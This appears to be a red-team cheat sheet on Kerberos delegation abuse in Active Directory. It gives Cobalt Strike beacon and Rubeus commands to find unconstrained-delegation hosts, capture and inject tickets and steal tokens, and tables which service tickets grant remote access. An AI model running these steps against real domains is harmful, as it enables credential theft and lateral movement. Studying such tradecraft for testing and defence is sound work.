Kerberos

Unconstrained Delegation

# Find unconstrained delegation
beacon> ldapsearch (&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288)) --attributes samaccountname

# Use rubeus for monitoring
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe monitor /nowrap

# Kill rubeus once done
beacon> jobs
beacon> jobkill $NUMBER

# Inject in sacrificial login
execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:CONTOSO.COM /username:dyork /password:FakePass /ticket:[TICKET]

# Now steal token from the session
beacon> steal_token $PID
beacon> run klist

# Cleanup
beacon> rev2self
beacon> kill $PID

Constrained Delegation

Resource Based Constrained Delegation

All delegations, whether it be unconstrained, constrained, or resource-based, can only be configured on accounts that have an SPN.

  • Other computer accounts can be used if you have elevated privileges to SYSTEM anywhere, as every computer has a default set of SPNs such as HOST, RestrictedKrbHost, TERMSRV, and WSMAN.

  • Service accounts can be used if you have obtained their credentials through an attack such as kerberoasting.

  • If you don't have any of the above, a last ditch attempt can be to add your own computer object to the domain. Tools such as StandIn can create these fake computer objects via LDAP.

Name
Description
Ticket(s)

SMB

Access the remote filesystem. View, list, upload, & delete files.

CIFS

PsExec

Run a binary via the Service Control Manager.

CIFS

WinRM

Windows Remote Management.

HTTP

WMI

Execute applications on the remote target (e.g., process call create).

RPCSS, HOST, RestrictedKrbHost

RDP

Remote Desktop Protocol.

TERMSRV, HOST

MSSQL

MS SQL Databases.

MSSQLSvc

Last updated